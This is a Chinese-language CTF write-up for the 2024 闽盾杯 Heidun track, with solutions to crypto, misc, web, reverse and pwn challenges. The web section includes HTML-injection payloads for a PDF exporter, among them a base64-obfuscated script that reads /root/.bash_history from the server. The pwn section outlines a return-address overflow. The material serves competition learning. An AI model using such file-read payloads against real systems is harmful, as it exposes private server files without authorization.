2024 闽盾杯-黑盾赛道WP
CRYPTO
签到题-学会SM
源码和数据都要保护
利用php在线解密工具解密php
得到php源代码
编写脚本后得到flag
<?php
function my_encode($str,$key) {
$re='';
$len=strlen($str);
for ($i=0;$i<$len;$i++) {
$c=substr($str,$i,1);
$k=substr($key,($i%strlen($key)),1);
$num=ord($c)+ord($k);
if($num>255) $num-=256;
$re.=chr($num);
}
return $re;
}
function my_decode($str,$key) {
return 'Something missed.';
}
$data=@$_GET['data'];
$key=@$_GET['key'];
if($key=='') $key='hdhd4321';
if($data!='') {
$mi=my_encode($data,$key);
file_put_contents('data_encoded.txt',$mi);
echo 'Saved to data_encoded.txt';
}
?><?php
function my_encode($str,$key) {
$re='';
$len=strlen($str);
for ($i=0;$i<$len;$i++) {
$c=substr($str,$i,1);
$k=substr($key,($i%strlen($key)),1);
$num=ord($c)+ord($k);
if($num>255) $num-=256;
$re.=chr($num);
}
return $re;
}
function my_decode($str,$key) {
return 'Something missed.';
}
$data=@$_GET['data'];
$key=@$_GET['key'];
if($key=='') $key='hdhd4321';
if($data!='') {
$mi=my_encode($data,$key);
file_put_contents('data_encoded.txt',$mi);
echo 'Saved to data_encoded.txt';
}
?>
我的进制我做主
题目给了数据
ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgccndcfqfpgcgofofpdadadagr
题目提示是自定义进制,因此首先先查看字符串用到的符号,有如下17个符号。
大致为a到r的字母顺序,少了一个i。因此推测实际为18进制,a到r对应0-9\a-h,其中i未使用到。
最后经测试,为每个字母单独编码一个2位18进制,解得flag。
from Crypto.Util.number import *
with open("我的进制我做主.txt") as file:
dat = file.readline()
print(dat.encode().hex())
print(dat)
print(len(dat))
co = 0
for i in [chr(i) for i in range(ord('a'), ord('z')+1)]:
if i in dat:
print(i, end='')
co+=1
print()
print(co)
chls = 'abcdefghijklmnopqr'
myO = '0123456789abcdefgh'
ct = dict(zip(chls,myO))
print(ct)
decDat = ''.join([str(ct[i]) for i in dat])
flag = ''
jinzhi = 18
for i in range(0, len(decDat),2):
tmp = decDat[i: i+2]
res = int(tmp, jinzhi)
flag += chr(res)
print(f'{tmp}, {res}, {chr(res)}')
print(decDat)
print(flag)
flag2 = int(decDat, jinzhi)
print(flag2)
print(long_to_bytes(flag2)) s
flag{heidun18jinzhi666}
源码和数据都要保护
题目描述:难懂的PHP,难懂的flag。
MISC
一个Logo
学会Office
我不是二维码
我变个样就不认识我了
出题人的上网流量
开始得到pcap
文件,在中间段发现了SMTP
协议,推测有内容,进行filter
操作。
追踪SMTP
流
对邮件正文进行base64
解码,得到正文信息,厨子保存成html
输出。
下载附件,发现为加密的docx
文档,密码为出题人QQ
号。
通过页面提示吴某某比对,发现为交流群主,QQ
号为217778
。
解密得到最终结果。
flag{baodaheidunchutiren}
gogogo
该题用go的github.com/tjfoc/gmsm/x509
库加密flag并输出,公钥私钥均在源码中。
因此直接使用库中的解密函数进行解密。其中,ReadPrivateKeyFromPem
函数需传入第二个参数pwd作为私钥密码,因为源码中给的私钥无加密,因此传入nil即可。
package main
import (
"crypto/rand"
_ "embed"
"github.com/tjfoc/gmsm/x509"
)
type EncryptController struct {
}
func Encrypt(plainText []byte) []byte {
publicKeyFromPem, err := x509.ReadPublicKeyFromPem(pub)
if err != nil {
panic(err)
}
cipherText, err := publicKeyFromPem.EncryptAsn1(plainText, rand.Reader)
if err != nil {
panic(err)
}
return cipherText
}
func Decrypt(plainText []byte) []byte {
privateKeyFromPem, err := x509.ReadPrivateKeyFromPem(pri, nil)
if err != nil {
panic(err)
}
cipherText, err := privateKeyFromPem.DecryptAsn1(plainText)
if err != nil {
panic(err)
}
return cipherText
}
var pub = []byte(`
-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoEcz1UBgi0DQgAE3xqu+AwSgmeQnsVflwUSDnjxPkjC
SiD+xllUCJ3UkfGmLII/LZ2FS3gJe4o6PGXZEWiIZz4eb4brd1xlXkrleQ==
-----END PUBLIC KEY-----
`)
var pri = []byte(`
-----BEGIN PRIVATE KEY-----
MIGTAgEAMBMGByqGSM49AgEGCCqBHM9VAYItBHkwdwIBAQQglNntSZVhLqSWzuKw
Z2CwSfSCNI8lQm0sS0Kvh8dOxG+gCgYIKoEcz1UBgi2hRANCAATfGq74DBKCZ5Ce
xV+XBRIOePE+SMJKIP7GWVQIndSR8aYsgj8tnYVLeAl7ijo8ZdkRaIhnPh5vhut3
XGVeSuV5
-----END PRIVATE KEY-----
`)
func main() {
cs := []byte{48, 125, 2, 33, 0, 238, 212, 154, 134, 255, 91, 109, 210, 231, 242, 184, 9, 103, 26, 30, 241, 93, 242, 68, 119, 148, 9, 21, 5, 241, 175, 203, 3, 152, 63, 85, 82, 2, 32, 2, 156, 154, 131, 146, 194, 242, 200, 19, 109, 209, 151, 90, 252, 165, 49, 247, 141, 208, 219, 117, 226, 91, 113, 225, 0, 33, 162, 19, 87, 49, 68, 4, 32, 213, 16, 18, 177, 119, 110, 74, 6, 147, 235, 85, 0, 61, 4, 1, 43, 107, 207, 249, 37, 195, 141, 141, 23, 244, 159, 235, 159, 169, 243, 160, 37, 4, 20, 179, 67, 236, 205, 121, 146, 216, 75, 168, 197, 214, 34, 63, 138, 237, 247, 166, 117, 246, 210}
flag := Decrypt(cs)
res := string(flag)
println(res)
}
加上flag头,即可得到真实flag。
flag{this_is_a_plain_flag}
空白
题目描述:眼前一片白茫茫,脑袋也一片空白。
得到flag:
WEB
你懂Fu22吗?
No characters
PDF export
参考payload 1:
参考payload 2:
<meta http-equiv="refresh" content="0;url=javascript:eval(atob('dmFyIGh0dHA9bmV3IFhNTEh0dHBSZXF1ZXN0KCk7aHR0cC5vcGVuKCJHRVQiLCJmaWxlOi8vLy9yb290Ly5iYXNoX2hpc3RvcnkiKTtodHRwLm9ubG9hZD1mdW5jdGlvbihlKXt2YXIgY29kZT10aGlzLnJlc3BvbnNlVGV4dDtkb2N1bWVudC53cml0ZShjb2RlKX07aHR0cC5zZW5kKCk7 '))" />
(这个其实是用XMLHttpRequest()读取file:////root/.bash_history文件,非预期解法)
参考payload 3:
<script>document.location="flag.txt"</script>
RE
你破解or我破解
40281D下断点nop跳转
确定之后会显示猜解flag
找到文本赋值地址0x402ACC下断点修改eax为999999
爆破得到520530
flag{heidun_crk_520530}
pwn
licensePWN
发现sub_4012F0存在溢出点
查看堆栈写入0x18+4字节可以修改ret
发现读取flag.txt函数
修改ret为0x401340得到flag